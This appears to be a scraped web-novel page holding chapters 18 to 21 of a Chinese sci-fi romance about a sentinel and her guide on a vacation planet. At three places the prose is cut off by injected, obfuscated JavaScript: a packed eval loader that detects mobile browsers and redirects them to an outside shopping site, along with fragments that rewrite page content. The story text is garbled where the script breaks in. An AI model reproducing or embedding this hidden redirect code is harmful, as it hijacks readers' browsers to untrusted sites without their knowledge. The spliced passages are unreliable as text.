“……对。”被这样注视的阮弥完全说不出不是,原先她还没想好这件事情要怎么开口,现在倒是省得她思虑。 “也可以不和她们一起。”她补充道,她也不知道自己为什么鬼使神差地要定两个位置,还没说就被发现了。 “我没关系的。”言述一佯装体贴以退为进,“洛安她们大概也想见到阮弥吧。” 他倒是非常希望阮弥身边只会有他一个人的位置,但这显然是不可能的,更何况他也想更了解阮弥,以及感谢洛安她们的酒。 见言述一没有拒绝,阮弥也就不再做其他打算,别的先不说,她倒是要去好好问问洛安她们到底做了些什么。 “那就走吧,我们去空港。” 上一次见到飞船跃迁还是阮怀清离开那天,当时没有去空港而是原地直接起航。 “我在圣奎姆的跃迁舰没有自主起降许可,圣所卡了我的申请好多年。”像是知道言述一心中的疑虑,阮弥开口解释。 “他们还真是让人讨厌。”言述一眉头皱起。 阮弥笑了笑,没有反驳。 远程控制跃迁舰自动寻航到空港悬停泊位的同时,她熟练地在终端填写申请提交,等抵达空港顶楼,她的跃迁舰已经准备就绪。 舰身通体由黑白灰构成,没有过多个性化的装潢,不算惹眼也难以让人忽视。 通过认证打开舱门,阮弥先一步跨上后,转身朝言述一伸出手:“有点小,将就一下。” 他稳稳抓住,进入其中却发现阮弥口中的小完全和事实不符。从外表上看是比阮怀清的跨星系跃迁舰小很多,但内部空间完全算得上宽敞,生活场景一应俱全。 没有许可的飞船要飞到指定空域才可以开始跃迁,阮弥在设置路径和终点坐标。 “我觉得很舒适呢。”言述一好奇地打量起室内设施,四处闲逛。 操作台和地图坐标投影在飞船前端,后半部分则是生活区域,设计的时候大概率不会有这么宽,一面全息投影线索墙的位置很显然是舰载武器台。 “这里是改装过吗?”那些武器大概率比不上阮弥她自己。 “对,我把那些东西拆了,这艘就是纯粹的代步工具,索兰其他星球解决不了的问题会上报到瑟拉瑞斯圣所总部,他们就会指派我去解决。” “这种情况很多吗?那样岂不是会很累。”即便跃迁技术不断发展,星球航行也仍然需要时间。 “还好,频率大概在每周一两次这样。” “那也很辛苦啊。”言述一在看线索墙上的信息,一张照片上的一部分人被圈起标红,旁边标注撒谎,还有被蓝笔单独圈起,标注情感很平稳,但我总觉得不对。 角落里还有被涂黑的好烦。 他扬起笑意,却又渐渐下沉消失。更多的地方充满各种各样的死亡报告、残缺的线索,许多天的日志上写着袭击进度受阻,线索又一次断开。 较为有序的地方贴着阮弥和洛安的聊天记录以及从中引出文件,显然是洛安在为她提供帮助。 圣所的其他人是死了吗? 没有,不过他们上交的报告和线索要么寥寥数句,要么掺杂无数谎言。 “想学怎么开飞船吗?” 耳边传来的轻快询问让言述一心底升起的怒火即刻平息:“可以吗?” “当然可以,我来教你,也不是很难。” 来到阮弥身旁的言述一有很多的问题想问出口,最后却什么都没说,这些烦人的事情也许会影响阮弥,但无法改变她分毫。 对上言述一笑意盈盈盯着自己的双眼,阮弥倍感压力:“先闭上眼,外放精神力。” “不闭会怎么样?” 阮弥用行动告诉言述一,他会被她捂住。 “用精神力去感受飞船上的接口,你就可以凭借精神力去控制飞船简单移动。”说话的间隙,她的掌心不断被眼睫毛来回扫过。 “……你有在听吗?” “有哦。” 平稳上升的飞船忽然颠簸,阮弥下意识搂住言述一的瞬间她就被拥住,很难不想到这是某人故意为之。 “怎么这么黏人。” “第一次开飞船,我害怕嘛。”伴随温热气息吐露的话语中没有半分恐惧,语气反而还隐隐上扬。 阮弥心底无奈手上却没有动作,毕竟她拿言述一也没半点办法。 安珀里尔距离瑟拉瑞斯不算很远,航行两个小时就能抵达,庄园内部有专门的地下停泊位,降落前夕正值安珀里尔夜幕降临,阮弥看到零星几个人影。 她松了口气。 停泊区域内有一艘张扬夺目的赤红巨舰,目测有五六层楼高,言述一不禁感慨:“看起来真壮观。” “这是安安的战利品,她花了不少心思。” 等到停稳开启舱门,阮弥却停住步伐。只见洛安不知道从哪里出现,她背着双手已经蹿到阮弥面前不远处。 “老大——你怎么不出来啊?” 正当阮弥心中暗道不妙,洛安从备受拿出礼炮朝着二人头顶发射,巨大横幅同时亮起: “欢迎老大和言向导莅临安珀里尔!!!” 五彩缤纷的雨满天飘散,言述一最先找到的是阮弥之前身上精神力的源头,对方是位女性向导,发现他的视线后心惊胆颤地躲在自家哨兵身后。 人群中还有几个熟悉孔,在昨天做任务时见过。简单颔首打过招呼,不知想到什么的言述一笑容加深不少。 本该无风的停泊场中,还在半空的丝带亮片顺着同一条轨迹飘落一旁。 “无不无聊?有完没完?”阮弥语气中是不得不的无可奈何。 “上次的还没用完,不能浪费。我保证这是最后一次,一定是。” 身为两次袭击主策划的洛安把手中凶器扔在一边做势投降,随后上前挽住阮弥往前:“走吧老大,大家就等你们一起吃饭呢,今天卫姐姐她们可是大展身手了。” 她凑近小声道:“老大,昨天是我错了,先不说你们之间到底做什么了老大你就说你喜不喜欢吧。” 不喜欢阮弥还真说不出口。 从沉默中知晓一切的洛安摇头感叹:“唉,坠入爱河的人啊——” “嗷!” 一行人来到宴会厅,一眼望不到头的长桌上摆满各式各样的精美菜肴,大多数人都是和阮弥正常问好,关系更近的一些则会流露出些许我懂我懂的微妙神情。 见到等候多时的巫蔓菁,阮弥却发现她旁边已经摆好了酒瓶。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557984|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >对上她视线的巫蔓菁耸肩摊手:“是安安要喝。” 阮弥又转向洛安:“你今天酒醒了吗?”只差没把人菜瘾大说出口了。 “当然!我现在清醒得很!”洛安愤愤放开阮弥,上前一步动手开酒,“未成年人不能饮酒——我们这里有未成年吗?” 被几人注视的言述一淡淡笑道:“我成年了。” “言向导你的外表在年龄这一方面太具有迷惑性了,说起来你今年多大?” “二十三。” “噢——”洛安语调跌宕起伏,别有意味地朝阮弥靠拢强调,“那我们同龄诶,你可以叫老大姐姐了。” 阮弥微微一顿,对上巫蔓菁带笑的视线她就知道对方想说什么。 “你不准说。” “好好好,我闭嘴。” 她其实还有点担心言述一:“你以前喝过酒吗?” 他摇头:“没有。” “哎呀,老大你别担心,提前吃解酒药再喝就完全没问题了。”洛安还准备好了水,伸手递到言述一面前,“给。” “谢谢。”秉承着对阮弥信任的延伸,言述一没有多想吃了下去。 听上去还算不错的建议,但洛安是个醉鬼,没来得及阻止的阮弥眼睁睁看着一切发生,迟迟俯身过去询问: “……还能吐出来吗?” “我吞下去了。” 阮弥突然觉得自己的脑袋有点痛。 “温馨提示,安安极其容易喝醉,就算吃了解酒药也是一样。”落座于对面的巫蔓菁笑着解释,“所以她的解酒药到底有没有用以及有没有副作用至今都是个未解之谜。” “你们这些喝不醉的人根本就不懂,至少是有心理作用的!”话落,洛安已经兴冲冲朝众人举起酒杯: “庆祝久违的团建旅行,干杯!” 碰杯脆响在整个宴会厅内不断回荡,阮弥捂住脑袋不愿直视。 相熟或口味相似的人坐在一块,相同的杯壁盛放色彩各异的酒。阮弥尝了一口,洛安开的那瓶没有大多数酒自带的辣味,就像普通饮品一般。 她在心中暗道不妙,看向言述一,他朝她笑笑。 随他去吧…… 一开始或许还能进行正常沟通交谈,越到后面某些人的思绪就越发混沌,最后直接昏睡倒地。当然,某些人不止包括洛安一个。 “我怎么感觉每次都是这样。” “你知道的,安安的酒量就没怎么好过。”巫蔓菁摇晃酒杯笑道,“看来你的向导也没差多少。” 只见先前还没什么异样的言述一现在趴在桌上。 阮弥这两天无奈的次数实在是有些多,毕竟讨厌的东西只要毁掉就可以了,面对这些很珍贵的人和事物,她很多时候反而束手无策不知道该如何是好。 宴席散去,还算清醒的人们不得不带着形形色色的醉鬼去休息。 扶起在大喊自己还没醉的洛安,巫蔓菁朝阮弥递出一个精巧礼盒:“贺礼。” 阮弥打开看了一眼,又瞬间合上,深吸一口气道:“你们脑袋里还有正经东西吗?” “怎么能算不正经呢?既然结果都是一样的,那过程怎么样都无所谓吧?”巫蔓菁脸上是绮丽的笑,她抬起手中最后的酒和阮弥碰杯。 “度假愉快。” 19. 第 19 章 目送巫蔓菁带着洛安离去的背影,阮弥转身,视线落在不远处倒在桌沿边的言述一身上。 言述一今天穿着黑色衬衫,发丝顺着他的衣衫垂落,他的穿衣风格和她类似毕竟都是她常买的店,领口不知道什么时候被他自己解开了,唯一明亮的色泽是他的肌肤。 没有因为醉意染上绯红,常年昏睡让他的皮肤白上许多,阮弥莫名觉得他很适合佩戴一些饰品。 目光一直延伸,直到意识到自己在看什么的阮弥猛然收回视线,吐了口气。 她在想些什么啊…… 整顿思绪后阮弥迈步向他走近,她很清楚言述一在这里没有其他更为熟络的人,甚至就算在圣奎姆也是一样。 抬起手背轻轻触碰言述一的脸颊,她对上他缓缓睁开略显迷蒙的眼睛。 “还可以自己行动吗?” “……嗯。” “走,回房间吧。” 安珀里尔的月亮是人造卫星,作为特色景点之一在夜晚会有无数洁白月光洒落,庄园内的观景长廊甚至不需要点亮灯光。 二人的影子被一前一后地拉长,阮弥牵着言述一的手走在前面半步。 她刷开房门先让言述一进去,自己去刷另一间就提示失效。这一片区域就两间套房,很显然她们是故意只给她安排一间。 她真是甘拜下风。 重新推开门进入,对于共处一室阮弥倒没有多排斥,截至目前言述一还没有任何称得上酒后发疯的行径,再者要是发生什么意外她也能更早察觉。 “只有一间房,你先睡吧。” 看见阮弥走到自己面前,换好浴衣的言述一几乎是难以抑制地展出笑颜,他雾蒙蒙的视线一直看向阮弥,语调相较以往也更加昏沉:“阮弥……不休息吗?” “我还不困。”她抬手抚上他的面颊,稍稍有些灼热,“你有没有哪里不舒服?” 言述一摇头。 把人带进浴室后阮弥就出来了,房间里面还摆了不少酒,她将手中的礼盒扔在长沙发上,挑了一瓶味道不重的打开。 她没打算睡觉,盛满的酒杯在手心正中,她靠在被月光映照的沙发上操作终端计划这几天的出行。 这段时间她把任务清理得差不多了,圣所那边明面上没什么动作,暗地里正在寻找制约她的方法,方泽截获一条来自永暮的加密消息,破译出来只有一句话:狐狸已经抵达。 三大星系虽有往来但也彼此制衡,这笔交易绝对上不了台面。 至于组织这边,洛安她们来这里团建不是临时起意,最近有个重要目标在这里,她们没和她说就代表她们自己就能解决。 在圣奎姆的起飞降落都受到监控,目前还没有人来找她的麻烦,不过异常情况还是有的。 她抵达不久后,安珀里尔就出现一个格格不入的精神力光点,不是普通向导但也没到达特级的程度,特级之下无分类,这些人便被称为近特级。 近特级……那么,一个近特级向导为什么会恰好出现在这里? 放下变浅的酒液,阮弥停下思绪浏览并挑选起数不胜数的各色景点。既来之则安之,圣所肯定会先按捺不住,她相信这一天不会太晚,反倒期望他们这次能给她一点惊喜。 浴室内,温热的水流淅淅沥沥,点点滴滴落下,言述一思绪处在混沌,时而清醒,时而迷醉。 不由自主陷入昏睡的感觉会让他恐慌,但只要感受到阮弥在不远处,一切的惧怕和忧虑又会被尽数消解。 匆匆擦干水汽,系好睡袍的腰带,他总是迫不及待想要去往阮弥身边。 坐在沙发上的阮弥不需要回头也能察觉到言述一在靠近,等到她侧头他已经来到她的身旁,目光从他身上未被包裹的地方离开,她问道:“不想睡觉吗?” “嗯,阮弥在忙吗?” “不算。” 正打算让言述一看看有没有想去的景点,一抹亮色映入她的眼中,冰蓝色绸带在言述一手上蜿蜒缠绕,原本盛放礼物的盒子不知何时散开。 “这是什么?”他望向阮弥的眼中只有好奇和懵懂。 完全把礼盒抛在脑后的阮弥目光闪躲道:“这是……可以用精神力操纵的绸带,原型是武器一类……” “那这个应该就不是武器用途对吧?” 还没等阮弥回答也可以是,她的话语就被彻底打断,只见言述一已经无师自通操控起绸带,瞬息缠绕在她和他的手腕上。 她的思绪和动作都在一瞬间僵硬,她不知道自己要做些什么。 如果是恶意她会给予反击,如果是无法接受的范畴,她会将其改变。可言述一不是前者,他好似全然无辜游离在警戒线边缘,看向她的迷离双眼像是在诉说:他不会做什么。 无言沉默中,阮弥决定忽略有关绸带的一切。 “……来看看之后想去什么地方吧。” 言述一乐得拉近距离和阮弥坐在一起:“我去哪里都可以,阮弥以前有来过这里吗?” “没有,我来到索兰后就只有需要做任务时才会离开圣奎姆,后面也只是偶尔和洛安她们出来玩,就那么一两次吧。” “那在来索兰之前呢?”他轻声问道。 如果说之前阮弥还觉得言述一可能醉得不那么厉害,现在她却知道他一定是醉了,不然他绝不会主动问起她的过去。 她一直以来都很清楚自己在他面前会刻意回避有关过去的话题,在索兰的过往没那么值得提起,而再往前的那些记忆,则是她舍不得想起。 回忆几乎是片刻,她没有沉默太久:“小时候我妈一直带着我在曜尘的各个星球旅居。” 终端上一闪而过的景点没有给阮弥留下任何印象,反倒是童年的记忆在不断往复。 “我记不清每一处的名字,我只记得一望无际的平原上长满芦苇,风吹过就掀起无数的浪。还有很高很冷的山,有云雾萦绕,我根本走不动也看不清,一路都是我妈在抱我,当地人都说那里是仙人曾经的居所……” 还有许许多多算不上独一无二的景色,她也在其他地方看到过相似的场景,但对阮弥来说,这些就是她独一无二的宝贵记忆。 渐渐地,言述一没有再看向终端,而是注视起阮弥。 “怎么了?” 不知是窗外的月光映照,还是他那双妖冶幽邃的眼中燃起期许的微光,在她快要沉醉于眸色之中时他终于开口问道:“我以后能和阮弥一起去吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560961|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“当然可以。” 没有过多思绪,也没有加以权衡利弊,阮弥就这么答应下来,她后知后觉,这似乎又是一个不轻不重的承诺。 就像是被勾了魂。 可阮弥觉得也不能全怪言述一,这是她自己应下的诺言。 得到肯定回答的言述一眉开眼笑,那笑容更加让阮弥恍神,她只得稍稍侧开移开目光,完全没有余力注意到两人的距离被不断缩小。 “阮弥……” 直到侧耳听他说话,阮弥才发现言述一已经近在咫尺,只差分毫她的耳廓就会碰上他的双唇。不知不觉间,她已经适应这完全算不上安全的距离。 “真的无论做什么,都不会抛弃我吗?” 不知道言述一怎么突然想起来问这个,她点点头回应:“只要不是太……” 过分。 没说出口的话已经被吞吃入腹。 猝不及防的吻落在唇舌之上,阮弥本能般下意识后仰却没有撞向冷硬华丽的装饰,言述一的手掌穿插在她的发丝之中。 距离上一次和上上次接吻还没过去多久,这到底算不算是纵欲过度? 没有给阮弥更多胡思乱想的时间,很快,她敏锐的感知让她有所察觉,那些看不到尽头又微凉丝滑的绸带自脚踝处盘旋而上,不止一只,也不止一处。 她的理智于瞬息间崩塌。 好在那些绸带顺从主人的意志,只是不断传递出窸窸窣窣的声音,并没有带来任何束缚和操纵也没有触动最后的界限,它们只是一直蔓延,一直盘旋。 这让阮弥本就不算平稳的呼吸此刻更是越发凌乱。 哨兵敏锐地感知直至此时此刻都在发挥着作用,她的感官没有失控,却被动接收着她不太能接受的一切。 她抵住言述一的手不断犹豫要不要推开,还没等她过载的思绪做出决策,触感先一步告诉她正在触摸的并不是往常的衣物。 慌慌忙忙间她收回像是被灼伤的手,也不知道能安放在何处。 索求是无止境的漫长,直到能够重新呼吸阮弥才睁开眼,下一刻就看见言述一那双摄人心魄的眼眸饱含笑意。 “姐姐,怎么没换气呀。” 听着他满腔惋惜语调幽怨,阮弥默默深呼吸别开目光:“我去洗澡了。” 没等回应,阮弥几乎是逃进浴室,不知道是自动还是某人早有预料,浴池中放满冒着蒸腾热气的干净清水。 沉默半晌后,她跨进水中抱着脑袋无声尖叫。 她就不应该喝酒,更不应该乱说话! 阮弥早该想到言述一并不是表面上那么柔弱易碎,他很会以退为进并得寸进尺。 一直以来他都游弋在她的边界线,长此以往放松她的警惕,抓住机会就一下猛然窜进,她没办法也做不到将他彻底赶走推开,只能一次又一次忍让。 更何况,言述一也确实没有做出越界行为,即便她的边界早已再次退让。 他能在她身边也是她太过放任,这所有的一切都离不开她的默许。 于是就算如此,阮弥也觉得这其中有一部分是自己的责任。 手腕上的冰蓝色绸带顺着水面在她眼前晃荡。 ……救命! 20. 第 20 章 等到思绪沉静下来,理智告诉阮弥差不多该出去了。 屋内言述一不知何时已经闭眼躺在床的一边,似乎是睡着了,目光滑落到同样在他手腕上缠绕的绸带,无光环境下的冷色调仍然刺激到她。 即便知晓接下来理应会相安无事,阮弥依旧神经紧绷。 她轻手轻脚地躺下,却见言述一睁开眼看向自己,心下一紧的同时,他嘴角扬起浅笑。 “阮弥,晚安。” “……晚安。” 收回目光不再去看言述一,阮弥强装无事闭上眼,不知不觉间沉入迷梦。 等到她被终端吵醒,已经迎来新的一天。醒来后阮弥果不其然第一眼就会见到言述一。 他长发弯弯绕绕地垂落,看向她的眼中满是歉意,很显然他没忘记自己昨天晚上做了什么。 “阮弥,我很抱歉……” 都诚恳道歉了,阮弥还能说什么呢?她只能接受,毕竟又不能真的吻回去,不然再让言述一顺着杆子往上爬她就真的受不了了。 得到原谅的言述一眉眼弯弯,伸手扶起还在打哈欠的阮弥,她唤起一直有信息传来的终端,发现是洛安在轰炸自己。 洛安:老大!和我出去逛街和我出去逛街和我出去逛街…… 阮弥:这才几点? 她真的很佩服洛安无论如何只要一觉睡醒就活力满满的超能力。 没有特地避开言述一,自然他也看得见终端上的消息,他稍稍俯下身看完若有所思地提起:“洛安她发消息让我今天退位来着。” “你们昨天晚上加的好友?” 言述一点点头,打开终端将聊天页面反转展示到阮弥眼前,两个相熟的头像彼此交流很少,只有早上零零散散的几条消息。 看得阮弥皱起眉头,什么叫如果昨天过得还不错今天就把老大给我们吧。 随即,敲门声连同叫喊传入阮弥耳中:“老大——开门啊——” 看着满脸无可奈何的阮弥,言述一笑着去打开房门,门外的人影除了洛安就是巫蔓菁。 见到言述一洛安有所收敛,她边闯进边挥手简单打了个招呼道:“早上好啊言向导,我就知道你们肯定会在一起。” 没来得及理会这充满多重意味的话,还在床上的阮弥就被洛安匆匆拉进盥洗室洗漱。 “老大你倒是天天和言向导腻在一处,我可是要抓紧每分每秒的!再晚一点那个可怕的诅咒就要生效了。”洛安眉眼间满是认真。 手忙脚乱的空隙阮弥反驳:“怎么说都连着见了三天了吧?” “在那之前我们都快三十天没见了!” “好好好,我错了我错了。”温热潮湿的面巾在阮弥的脸上大力抹过,她无可奈何:“能对我柔和一点吗洛安女士。” “现在追求的是速度而不是舒适度!”像是有什么急切的事物追赶,三下五除二,阮弥就要被推着出门。 “好啦,我们出发吧。”得逞的洛安满面笑意,“再见言向导,人晚上还你。” 直到临别前夕阮弥才能分给言述一几分目光,接收到注视的言述一面上浮出笑容:“放心吧,我自己一个人也没问题。” “有事随时联系我。”阮弥稍有不放心地叮嘱。 “好。”他认真应下。 一直在屋外等待的巫蔓菁见阮弥出来,将早就准备好的吃食递到她手心:“给,爱心早餐。” “不许说怪话。” “充满爱心的早餐怎么能算怪话呢?” 站在原地的言述一目送阮弥朝自己挥手和她们相伴离开,直至身影消失无踪才依依不舍地收回目光。 不舍也没办法,昨天晚上阮弥的情绪波动太大,按照他还算浅薄地理解阮弥是需要一定的时间和空间去处理她不太擅长的情感。 更何况,他想要的从不是一时贪欢,他不能也不会让那些热切一次就燃烧殆尽。 那么,接下来做些什么好呢?好像有一些讨厌的家伙也在安珀里尔。 言述一陷入思绪之中指节轻敲,往日在阮弥面前总是充满笑意的面容面无表情,即便沐浴在阳光下也显得冷冽,直到某一刻过后又才重新勾起笑容。 去杀掉他们好了。 日光平等地照射众生,阮弥脸上多了一副被人精挑细选过的墨镜,巫蔓菁有帽檐遮挡,至于洛安?她不需要外物,她本身就和太阳不分伯仲。 作为近几年索兰被营销起来的度假胜地,安珀里尔虽说是一整个星球,但洛安在意的还是购物中心。 商圈也不乏星际连锁大牌,不过这并不是她们的目的地,洛安也是有讲究的,出来旅行她更偏好每个星球独特文化孕育出来的物件。 阮弥和巫蔓菁就在她身后不紧不慢地观赏,偶尔还会出现巫蔓菁感兴趣的东西,阮弥就主打陪伴。 等到再次并排而行,巫蔓菁调笑问道:“怎么还是这么冷淡,你的向导没有感化你吗?” “……我这叫心如止水。” 听着阮弥语调淡淡,巫蔓菁忆起从前心中发笑:“是吗?那第一次见你的时候算什么?年少轻狂?” “从你去了公会后就变成彻头彻尾的工作狂人,有段时间我觉得你和智械没什么两样,时常怀疑你已经失去了人类的欲望。” 在巫蔓菁看来,每个人都有属于自己的色彩,生命力也是不同程度的鲜活,洛安大部分时间都拥有极为热烈的色泽,只是偶有沉寂,而阮弥则完全相反。 “阮弥,你有什么非得到不可的东西吗?” 被问到的人沉默许久后,给出答案:“没有吧。” “包括他吗?”她唯一的向导。 “嗯。” 被墨镜遮住的蔚蓝色瞳孔中是没有伪装不加润色的冷寂,阮弥抓住稍纵即逝的思绪补充道:“我只知道自己不想要什么。” 她不想让自己和那些她感到恶心的家伙同流合污,也不想美化隐瞒言述一强制绑定的动机。 在选择成为哨兵前她其实有预想过自己该如何面对向导这一问题,无非两种,求助旁人或是强行压制,后者无论成功与否都必定承担巨大损伤。 阮弥厌恶哨兵和向导的配对机制,但又不得不被其束缚。 言述一的出现完全在她意料之外。 这段时间相处下来,她认为他是一个合适的利用对象,仅限于此。 她或许是喜欢的吧?但那又怎样呢?就因为这样的缘由把言述一永远和自己绑定在一起,这对他来说并不公平,阮弥也不愿接受。 她打心底厌恶让彼此相遇结合的身份,这是自始至终都难以解开的死结。 “氛围怎么有点沉重?”突然探头出现在两人之间的洛安有所疑惑但没深究,她拉起阮弥朝一个地方走去。 “来来来,老大我觉得你绝对会喜欢这个。” 顺着洛安的指向,阮弥看见一排排琳琅满目供她挑选的链条。 售货员柔声介绍:“这是我们家最为出众的类型,还有其他各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565901|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种样式,有心仪的都可以看看……” 旁人的话语阮弥没听进去半分,流光溢彩的色泽在她眼中荡漾,她却没过多关注链条本身,脑海不由自主地浮现出的是言述一佩戴的模样。 他会用那双比任何宝石都幽邃美丽的眼眸看向自己。 “这样的话,阮弥会喜欢吗?” 她恍然回神。 早已确定阮弥目光停留时间超过平常限度,洛安当即大手一挥:“把这些全给我包下来。” 说完她就立刻支付,没给阮弥任何反悔的余地,害怕被清算的洛安当即匆匆忙忙挽着巫蔓菁直奔下一家。 留在原地的阮弥吐了口气,在内心唾骂起自己来。 等打包好已经过去一段时间,洛安她们去的是家药草专售店,属于巫蔓菁喜欢的类型。 她们大概还要逛很久,阮弥站在外面没进去的打算,精神结合的效果日益消减,太过嘈杂的气味对她来说是一种负担和损耗。 手中包装精美的袋子像是会灼伤她的目光一般,她一眼都不去看。 阮弥环抱着自己的手,浑身上下散发生人勿近的气息。看似平静的海面被扔入一枚小小的链条,在无人知晓的地方激起一层又一层波澜。 购物中心很大,她们所在的地方人流并不算很多,可从很远处开始,就有一道艳丽到夸张的身影直直朝她所在的方向走来,中途没有任何停息和张望。 来了啊,近特级。 她收束好心思,表面没有任何异样。 果不其然,一身近乎半露赤红长袍,面容被大半轻纱遮盖的男人恰如其分停留在阮弥面前:“请问这位尊贵的女士,我可以有幸知道您的姓名吗?” “不可以,而且你的搭讪方式堪称原始。”毫无新意。 寰宇之大无奇不有,绝大多数时候大家都会彼此包容互相传承的文化,偶有路过的人也只是碍于太过夺目会多看这位格格不入的外乡人几眼。 他的服饰上有形似野兽属于永暮的宗教体系暗纹,似乎无意掩饰自己的来路。 “真是可惜没能让您满意,我来自永暮,名为绯珀,非常荣幸能够见到您……” “特级哨兵女士。” 他弯腰行礼,上翘的眼尾颇为妩媚,迈步想要再度靠近阮弥却发现自己动弹不得。 “麻烦和我保持距离,我的向导知道了会生气。” 她的语调几近冰冷,却依然没办法浇灭绯珀跃跃欲试的意图。 “我想,被强大又美丽的事物吸引是人类的本性,再者,精神结合只是暂时的,您本就该享受亿万人之上的殊荣,身为您的向导恐怕不该生出想要独占的心思。” “更何况,就算那人能日日在您身旁,也难免会有摩擦不合心意……” 绯珀的话被硬生生中断了,阮弥站在原地没有动作,但他却被无影无形的力量死死掐住脖子。 “我的向导还轮不到你来评判。” “我劝你最好滚回永暮,别来我面前晃悠,如果再让我见到你,事情就不会这么简单。” 这不是威胁,绯珀也没有值得阮弥威胁的必要。她语气平平说完便转身离开,不再为无关紧要的东西停留。 不知道过了多久,限制呼吸和行动的力量才迟迟消散,绯珀几乎跌跪在地上,窒息已久的胸膛不断起伏。经此一役,他却没有任何惧怕和想要退却的念头,他狭长的竖瞳布满兴奋。 这就是特级哨兵吗?如此强大,如此……令他着迷。 21. 第 21 章 等她们逛完一圈回去庄园,太阳已经隐入天际。 阮弥还在看终端上收到的风景照片,迎面就见到刚回来不久的言述一。 还没等她有所动作就感觉手上忽地一空,装有各式各样链条的袋子被洛安先一步拿到言述一面前:“言向导,这是老大买给你的礼物。” “谢谢。”他笑意盈盈接过。 “……回家再拆吧。”这是阮弥最后的执念。 等她转头准备秋后算账,洛安挽着巫蔓菁已经走出一段距离,笑着朝她挥挥手离开了。 相伴而行的二人漫步在庞大庄园中,无论去往哪里都需要一段时间。 “今晚在庄园的人少了很多呢。” “都去做任务了。”脚步声不断前行,阮弥的解释也随后而至,“有人拖欠尾款。” 未曾料想的答复和缘由让言述一心生好奇:“还会有这种事吗?” “经常,总有人想用最小的代价换取对他们而言最好的结果。” 组织本就不是什么正经组织,游离在灰色地带所以不能见人的事情可以委托她们,相应地也没办法用明面的手段维护自身权益,最终导致的结果就是总得亲自去收取报偿。 “阮弥不需要去吗?” “嗯,这种程度她们可以解决。” “真好呢。”她们彼此信任对方。 等将袋子放回房间后夜色已至,繁华富丽庄园更显空荡,间歇亮起的烛光将二人的身影反复拉长。 安珀里尔曾经被虫族占据,重新回归索兰版图后这座庄园的主人早已下落不明。原先的计划是改造成景点,碍于没有更多特有文化支撑渲染,最终定下可供租赁的方案。 计划去往餐厅的中途,言述一的视线被一扇古朴庄重的门扉吸引:“那里通往什么地方?” “我记得平面图上写的是礼堂。” “宗教信仰一类的东西啊,我还没怎么见过。” “索兰崇尚力量,精神力就是他们的信仰。”从语调中就不难听出言述一的好奇,阮弥停下脚步看向他问道:“要不要过去看看?” 言述一眸光熠熠给出回答。 “走吧。” 推开年代久远的大门,只见月光顺着天窗刺破黑暗,为礼堂正中的雕像镀上银装。 噌。 明黄灯光亮起,富丽堂皇的景象顿时冲散冷寂,原先圣洁的蒙面女像也在一瞬之间黯然失色。礼堂的装潢和其他地方没什么差别,还未升起的期待已然落空。 “好失望。”言述一直言不讳道。 阮弥久久凝望雕像,她觉得有些熟悉,却想不起来是在什么地方见过。 “也没什么相关记载。”在礼堂巡视一圈没有看到任何信息文字,立于其中的雕像反倒像装饰品,但从总体大小和周围布置来看,应当是有人用心设计过。 她半蹲下,伸手在底座周围逸散精神力,穿透实体,通往地下。 “有不在平面图里的地下室。” “阮弥好厉害!”言述一能感受到她在操控精神力,自己却无法做到,“我的精神力只能搜寻到生命体。” “我也能感知到生命体,但仅仅只是感知,无论是作为向导还是哨兵我都没办法更深一步操控精神,但你可以。” 这是属于特级之间的能力差异。 等精神力转动藏在礼堂各处的机关,先前还严丝合缝的地面出现向下的阶梯,昏暗,幽深,不知通往何处。 二人相互对视一眼,无言中做好继续深入的决定。 “没有灯吗?” 暗梯有些狭窄,刚刚好足够两人通过。耳边传来问询的同时,手臂被挽得很紧,阮弥原本想去转动开关的精神力悄无声息地退回。 “年久失修了吧。” 阮弥外放精神力构成屏障笼罩二人,顺带还给言述一共享视觉。即便没有任何一点光亮,但在哨兵的视角下隐匿于黑暗中的景象都一清二楚。 她听见他的心跳略有加快,像是好奇又害怕,步伐却没有丝毫停滞。 “小时候得空时我会看母亲给我买的绘本,不知道是谁掺杂进去一本有恐怖要素的,我也是这样,又害怕又想看,结果看到一半就又昏睡过去,我做了很久很久的噩梦。” 螺旋向下的楼梯间,言述一忆起往事,语调中是无可奈何的笑。 “而且就算做了噩梦也没办法把我吓醒,梦里好像也有这样的楼梯,我怎么走都走不到尽头。” 听到这里的阮弥心有酸涩,扣紧他的手:“除了这些之外,有什么有意思的梦吗?” “有哦,后来我还学会了怎么操控梦境,但是再往后,就又变得没什么意思了。”全权由他决定的一切会没有任何惊喜,枯燥又无趣。 好在,这一次不再是没有尽头的黑暗,昏黄的灯光将其终结,吱呀作响的木门重新唤回他心底的期待。 未经打扫,不知尘封多久的暗室呈现在眼前。 